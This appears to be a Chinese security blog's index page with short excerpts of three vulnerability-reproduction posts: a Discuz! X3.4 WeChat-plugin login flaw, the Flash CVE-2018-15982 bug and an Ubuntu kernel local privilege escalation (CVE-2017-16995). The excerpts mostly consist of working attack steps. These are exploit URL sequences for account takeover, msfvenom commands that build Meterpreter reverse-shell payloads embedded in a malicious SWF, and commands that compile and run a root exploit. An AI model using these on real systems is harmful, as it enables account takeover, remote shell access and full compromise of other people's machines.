Dz x3.4逻辑漏洞复现
影响版本x3.4，安装并开启了微信登录插件原贴：https://www.sk15.net/archives/119.html?tdsourcetag=s_pcqq_aiomsg
EXP# 随机登陆一个账号，任意填写
/plugin.php?id=wechat:wechat&ac=wxregister&username={username}
# 清空tmp
/plugin.php?id=wechat:wechat&ac=unbindmp&uid={uid}&hash={csrf_hash}
# 注册账号
/plugin.php?id=wechat:wechat&ac=wxregister&username={username}&wxopenid=abcdefg
登录之后会跳转到微信，然后回到首页刷新即可
...
2019-08-19
漏洞
CVE-2018-15982漏洞复现
简介当地时间12月5日,Adobe官方发布安全通告修复了两个漏洞,分别是Adobe Flash Player中的0day漏洞CVE-2018-15982Adobe和Flash Player installer中的高危
捆绑监听msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw > 86.bin
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw > 64.bin
python CVE-2018-15982.py -i 86.bin -I 64.bin -o apt.swf
生成为文件复制到/var/www/html/下并开启apache服务...
2019-08-19
漏洞
ubantu本地提权漏洞【CVE-2017-16995】
漏洞简介Twitter上Nikolenko发推表示ubuntu最新版本存在一个本地提权漏洞，并且提供了EXP下载地址该漏洞在老版本中已经完成修复，但是在ubuntu16.04版本依旧可以被利用。
影响版本受影响版本: 4.14 - 4.4.0-103 内核版本
漏洞利用把exp上传到拥有漏洞的Linux服务器
然后我们开始编译该文件
gcc -o upstream44 upstream44.c
得到可执行文件upstream44
最后,执行刚刚编译后的文件
./upstream44
成功提升到root权限...
2019-08-19
漏洞